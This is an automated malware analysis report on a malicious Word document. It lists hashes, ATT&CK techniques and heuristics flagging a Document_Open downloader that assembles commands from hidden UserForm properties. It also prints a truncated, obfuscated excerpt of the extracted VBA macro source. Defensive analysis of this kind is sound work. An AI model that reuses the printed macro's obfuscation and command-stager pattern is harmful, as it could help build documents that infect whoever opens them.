Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2a6cfa41b2d5a719…

MALICIOUS

Office (OLE)

188.5 KB Created: 2019-12-16 23:01:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 3bb4357f83a5f15d8438a96ae97c131e SHA-1: f2e253107ee558931609dc2a9f1f63b135f2ea53 SHA-256: 2a6cfa41b2d5a71990e0dcc6b6e4fb17c97fa44dd0a3070ecf9b4cae566fe29e
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for initial execution. Critical heuristics indicate a hidden-property command stager and auto-execution via GetObject, suggesting the macro is designed to download and run a second-stage payload. The ClamAV detection 'Doc.Downloader.Sagent-7459542-0' further supports this downloader functionality.

Heuristics 8

  • ClamAV: Doc.Downloader.Sagent-7459542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-7459542-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7804 bytes
SHA-256: a1178380a344d512ea31e12068fc296062abcdf3c2a76c6e32ef694c729a653a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Dfhutzmxguh"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Wtgeqszerf, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Dim Chpvhiavy, Mwsbrewli
For Sxlfpnjfp = Iqsxzfsggt To Gizgfvcr
         Xprjbtnmt = Dnbjtertbrmiu
         Pgdjnrzascfpd = Hex(Uzcfcvxxlrly)
         Lhxeedgijtg = Chr(Ihnpntiwmgp)
         Sjrsctsi = Ilzwmmqizyip - Cxeyuyahadlxq
         Mkeblfdoxwkw = Etcttqeouoi
         Kvlpvyrm = Hex(Nesyjhck)
         Swkidxam = Int(Qsresslgpxg)
Next
   Dim Yajnscjmzcfvb, Zmkypfbclfdu
For Zqlprvckotity = Uzryyjjqq To Wxxhpitnamuf
         Ppxrpvgfwqg = Sppzuszyemgd
         Lwuatgjj = Hex(Zabkrbgbdm)
         Lmzmkqlcrnpvu = Chr(Qmflivda)
         Ohdgfanzokha = Tyrullfpizqox - Cimfvwihwlnb
         Yupfjrkdi = Myyeqqclgm
         Vlzlqvjyjjjk = Hex(Iojhyaxw)
         Jdgukppuwzuuk = Int(Izqzcpoapiob)
Next
   Dim Gxpcswftifslp, Sjtumzwtjm
For Thrzwoafa = Kapmctifryy To Rcjyjdfqtpmm
         Wxoyiguju = Uabghiugxi
         Bvxgyqkdz = Hex(Miczquzhhmm)
         Ejlhrgtx = Chr(Ndkavskumimp)
         Ielxamrpg = Pfcltspk - Wguepxszgqp
         Znuvxpbxx = Gnhitqxeiplyr
         Pypzdmezdy = Hex(Svorzpvxcqkgq)
         Cqnpdclaci = Int(Lcoekuufjty)
Next
Djccypmyn
End Sub

Attribute VB_Name = "Whvcuwto"
Attribute VB_Base = "0{7B3FB45F-4CB9-4EBD-9A41-C7BFCA91DFE5}{009532CB-FCF1-4607-9FF8-82D0D0E99361}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Aiapidossc"
Function Dyxkqoeqfkog()
   Dim Xylwpnbdqy, Goybbgjjo
For Nlttiexikfmpq = Gmpnydohxfb To Rqluyaxlwu
         Spnbuyhokzxta = Zdwngvlrttrr
         Fkswpfnbgdh = Hex(Brtsuwfxiagm)
         Ytichrzfp = Chr(Kvgxwsgnbkzza)
         Kqxkljmypiya = Uvcovjay - Hzzbvzthen
         Ietnyxrpys = Gowlfotmqm
         Jkcqorvmvl = Hex(Uhkdhkmpsovhc)
         Qttsvaie = Int(Bbhwvpvbyrxe)
Next
Aikxoayigmla = Dfhutzmxguh.Wtgeqszerf
   Dim Romculwwcl, Vpobqtmi
For Eiwnzvnq = Kwijitbktthez To Ytuudhocnjef
         Bimdltzget = Cpoxaigtbbtw
         Wuuaenuyrlua = Hex(Uroawlfznqivz)
         Zoqytxfmep = Chr(Exdcztjzkmtzt)
         Heriohnrxecuz = Klnoabjni - Ozmvrfhaxhm
         Pqfgyxzkkfch = Lvxqjgzt
         Bmwnzrxxe = Hex(Jvdpkcedukofb)
         Ardawwca = Int(Allsifcufc)
Next
Ymnpryiluib = Aikxoayigmla + Whvcuwto.Aypdyamykslmt + Whvcuwto.Oclhlvxl + Whvcuwto.Rjyaezrosi
   Dim Iktnlsxy, Rkbddppgftyr
For Qfiypnvjoxvww = Gcsztxwsrt To Uzdfrwvwfkyi
         Hwdigsbuyrfsu = Nqepvbkkrdza
         Wdjctpaoj = Hex(Qzbmzzcvc)
         Utbyxllegrkp = Chr(Wpakuyhrgeb)
         Sexfonbjpavro = Gqgkyxcjb - Tmcmwwont
         Lvbafgofsf = Lqyrkaqv
         Gtpgdeydbjfx = Hex(Iyswuwrbxj)
         Xfemdenroikyd = Int(Pemxoknjl)
Next
Caqvycitloh = Ymnpryiluib + Whvcuwto.Ekgmmptq + Whvcuwto.Vhaapzoil
   Dim Ieoyotmunj, Mbbkwchqk
For Yiwevpfelg = Ffofcklynmpnl To Nuylafvqpspre
         Azxcwfhwe = Evmtjsjsskmup
         Pznnsgqimq = Hex(Prgxuebaad)
         Whmpuoehh = Chr(Hjqosnmactj)
         Lmsqntjl = Rkubnymib - Yodqinnd
         Mnldivouoce = Zdylycql
         Znyozffvhkqf = Hex(Xfcxonzwu)
         Nkbpbcde = Int(Qkhooihxtn)
Next
Dyxkqoeqfkog = Wsuvohcwy + Caqvycitloh + Wsuvohcwy
   Dim Zygfasiovr, Gywzitfh
For Wxsmqmnu = Ixygdspgu To Icaklhzyyreev
         Mobvaaqvri = Vpezmahourb
         Ovcqdtceu = Hex(Eydvrhjc)
         Djtsrdnnoumx = Chr(Fnfopxlbjd)
         Xmwnizsnkmj = Pprflohhrq - Vmngczqx
         Brbmmedbs = Caitwyonh
         Sknmfhimsaii = Hex(Dzbcepyzvsmfm)
         Bkwagzqy = Int(Wsfmhtrvusznk)
Next
End Function
Function Djccypmyn()
   Dim Dctxrfczh, Zajsdnlpzs
For Colemfestd = Avvgsrnpf To Gpztdagzp
         Rjfaptddovt = Isewhfmgggfp
         Arndr
... (truncated)

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